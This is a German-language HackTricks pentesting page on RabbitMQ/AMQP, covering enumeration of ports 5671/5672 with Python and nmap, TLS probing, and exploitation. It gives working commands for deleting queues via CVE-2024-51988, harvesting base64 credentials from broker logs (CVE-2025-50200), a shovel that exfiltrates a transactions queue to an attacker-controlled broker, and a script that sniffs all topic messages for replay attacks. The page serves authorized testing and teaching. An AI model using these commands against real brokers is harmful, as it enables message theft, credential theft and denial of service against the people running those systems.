5671,5672 - Pentesting AMQP
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Von cloudamqp:
RabbitMQ ist eine Nachrichtenwarteschlangen-Software, auch bekannt als ein Nachrichtenvermittler oder Warteschlangen-Manager. Einfach gesagt; es ist Software, in der Warteschlangen definiert werden, mit denen sich Anwendungen verbinden, um eine oder mehrere Nachrichten zu übertragen.
Eine Nachricht kann jegliche Art von Informationen enthalten. Sie könnte zum Beispiel Informationen über einen Prozess oder eine Aufgabe enthalten, die auf einer anderen Anwendung gestartet werden soll (die sogar auf einem anderen Server liegen könnte), oder sie könnte einfach nur eine Textnachricht sein. Die Warteschlangen-Manager-Software speichert die Nachrichten, bis eine empfangende Anwendung sich verbindet und eine Nachricht aus der Warteschlange entnimmt. Die empfangende Anwendung verarbeitet dann die Nachricht.
Definition von .
Standard-Ports: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Standard-Anmeldedaten:
guest:guest. RabbitMQ beschränkt diese auf localhost überloopback_users, aber viele Docker/IoT-Images deaktivieren diese Prüfung, daher immer den Remote-Login testen, bevor du annimmst, dass dieser blockiert ist. - Authentifizierungsmechanismen: PLAIN und AMQPLAIN sind standardmäßig aktiviert, ANONYMOUS ist auf
anonymous_login_user/anonymous_login_passabgebildet, und EXTERNAL (x509) kann offengelegt werden, wenn TLS aktiviert ist. Ermittle, was der Broker anbietet, damit du weißt, ob du später password spraying oder certificate impersonation versuchen solltest.
Aufzählung
Manuell
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Sobald authentifiziert, dumpen Sie conn.server_properties, conn.channel_max und conn.frame_max, um Durchsatzlimits zu verstehen und ob Sie Ressourcen mit übergroßen Frames erschöpfen können.
Automatisch
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
TLS/SASL checks
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
Dies leaks die Zertifikatskette, die unterstützten TLS-Versionen und ob mutual TLS erforderlich ist.
- List listeners without creds:
rabbitmq-diagnostics -q listeners
Nützlich, sobald du low-priv shell-Zugriff auf den Host hast.
- Spot ANONYMOUS logins: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the
anonymous_login_user(defaults toguest).
Brute Force
Exploitation Tips
Queue deletion without configure perms (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (und ungepatchte Tanzu-Builds) prüft die configure-Berechtigung nicht, wenn Queues über die HTTP API gelöscht werden. Jeder authentifizierte Benutzer mit Zugriff auf das Ziel-vhost kann beliebige Queues löschen, selbst wenn er nur read- oder write-Rechte hat.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Kombiniere dies mit rabbitmqadmin list permissions, um vhosts zu finden, bei denen dein low-priv Benutzer teilweisen Zugriff hat, und lösche dann Queues, um denial-of-service herbeizuführen oder kompensierende Kontrollen auf der AMQP-Seite auszulösen. Siehe 15672 pentesting für weitere HTTP API Endpunkte, die sich mit diesem Bug verketten lassen.
Anmeldeinformationen aus RabbitMQ-Logs sammeln (CVE-2025-50200)
Bis 4.0.8/4.1.0 führt ein Aufruf der management API mit HTTP basic auth auf einer nicht existierenden Ressource dazu, dass der Broker den gesamten Authorization-Header (base64) loggt. Wenn du eingeschränkten Dateisystemzugriff erlangst (z. B. Docker escape, plugin RCE), suche in /var/log/rabbitmq/rabbit@*.log nach Authorization: und stelle Anmeldeinformationen für andere Mandanten oder Service-Accounts wieder her.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Trigger this intentionally with bogus endpoints to plant fresh secrets in the logs, then pivot by reusing the decoded creds over AMQP, STOMP, MQTT or the OS itself.
Weaponize rabbitmqadmin-ng
rabbitmqadmin v2 (aka rabbitmqadmin-ng) ist ein eigenständiges CLI, das mit der management API kommuniziert und jetzt statisch gelinkte Builds für Linux/macOS/Windows bereitstellt. Drop it on your bounce box and script:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
Da das Tool blue/green-aware Health-Checks unterstützt, kannst du auch rabbitmqadmin health_check port_listener --port 5672 missbrauchen, um aus der Ferne zu bestätigen, ob TLS-Listener exponiert wurden oder um den Dienst für Timing-Probes beschäftigt zu halten.
Message hijacking/sniffing
Wenn du permissive Policies (.* bindings, topic exchanges, or x-queue-master-locator = min-masters) findest, kannst du Nachrichten unauffällig abzweigen, ohne sie zu löschen:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Tausche den routing key für audit.# oder payments.*, um sensible Flows zu fokussieren, und republish dann gefälschte Nachrichten, indem du die Argumente von basic_publish vertauschst — nützlich für replay attacks gegen nachgelagerte microservices.
Andere RabbitMQ-Ports
In https://www.rabbitmq.com/networking.html finden Sie, dass rabbitmq mehrere Ports verwendet:
- 1883, 8883: (MQTT clients ohne bzw. mit TLS, wenn das MQTT plugin aktiviert ist. Learn more about how to pentest MQTT here.
- 4369: epmd: ein Peer-Discovery-Service, der von RabbitMQ-Knoten und CLI-Tools verwendet wird. Learn more about how to pentest this service here.
- 5672, 5671: von AMQP 0-9-1- und 1.0-Clients ohne bzw. mit TLS verwendet
- 15672: HTTP API-Clients, management UI und rabbitmqadmin (nur wenn das management plugin aktiviert ist). Learn more about how to pentest this service here.
- 15674: STOMP-over-WebSockets-Clients (nur wenn das Web STOMP plugin aktiviert ist)
- 15675: MQTT-over-WebSockets-Clients (nur wenn das Web MQTT plugin aktiviert ist)
- 15692: Prometheus-Metriken (nur wenn das Prometheus plugin aktiviert ist)
- 25672: wird für die Kommunikation zwischen Knoten und CLI-Tools verwendet (Erlang distribution server port) und wird aus einem dynamischen Bereich zugewiesen (standardmäßig auf einen einzelnen Port begrenzt, berechnet als AMQP-Port + 20000). Sofern externe Verbindungen auf diesen Ports nicht wirklich erforderlich sind (z. B. wenn das Cluster federation verwendet oder CLI-Tools auf Maschinen außerhalb des Subnetzes eingesetzt werden), sollten diese Ports nicht öffentlich offen sein. Siehe networking guide für Details. Nur 9 dieser Ports sind im Internet geöffnet.
- 35672-35682: werden von CLI-Tools (Erlang distribution client ports) für die Kommunikation mit Knoten verwendet und aus einem dynamischen Bereich zugewiesen (berechnet als server distribution port + 10000 bis server distribution port + 10010). Siehe networking guide für Details.
- 61613, 61614: STOMP clients ohne bzw. mit TLS (nur wenn das STOMP plugin aktiviert ist). Weniger als 10 Geräte mit diesem Port offen und größtenteils UDP für DHT nodes.
Siehe auch
Shodan
AMQP
Referenzen
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


